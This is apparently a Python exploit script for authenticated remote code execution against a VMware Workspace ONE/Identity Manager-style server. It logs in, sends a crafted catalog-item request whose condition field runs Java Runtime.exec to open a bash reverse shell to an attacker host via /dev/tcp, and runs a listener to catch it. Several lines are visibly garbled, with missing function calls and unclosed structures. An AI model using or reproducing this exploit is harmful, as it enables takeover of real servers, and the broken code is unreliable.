#!/usr/bin/env python3

import re
import sys
import socket
import requests
from telnetlib import Telnet
from threading import Thread
from colorama import Fore, Style, Back
from urllib3 import disable_warnings, exceptions
from urllib.parse import urlparse

def login(t, u , p):
    r = requests.get(f"https://{t}/SAAS/auth/login", verify=False, allow_redirects=False)
    m ="protected_state\" value=\"([a-zA-Z0-9]*)\"", r.text)
    assert m, "(-) cannot find protected_state!"
    s = requests.Session()"https://{t}/SAAS/auth/login/embeddedauthbroker/callback", data={
        "username": u,
        "password": p
    }, verify=False)
    return s

def trigger_rce(t, rhost, rport, s):
    j = {
        "authInfo": {
                        "condition":f"java.lang.Runtime.getRuntime().exec(\"sh -c $@|sh . echo bash -i >& /dev/tcp/{rhost}/{rport} 0>&1\");",
        'content-Type': 'application/vnd.vmware.horizon.manager.catalog.saml11+json'
    r ="https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
    assert "X-XSRF-TOKEN" in r.headers, "(-) cannot find csrf token!"
    s.headers.update({'X-XSRF-TOKEN': r.headers['X-XSRF-TOKEN']})"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)

def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("", lp))
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")

def main():
    global rhost, rport
    if len(sys.argv) != 4:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s target.tld admin:Admin22#" % sys.argv[0])
    assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
    target = sys.argv[1]
    rhost = sys.argv[2]
    rport = 1337
    if ":" in sys.argv[2]:
        rhost = sys.argv[2].split(":")[0]
        assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
        rport = int(sys.argv[2].split(":")[1])
    usr = sys.argv[3].split(":")[0]
    pwd = sys.argv[3].split(":")[1]
    s = login(target, usr, pwd)
    handlerthr = Thread(target=handler, args=[rport])
    trigger_rce(target, rhost, rport, s)

if __name__ == "__main__":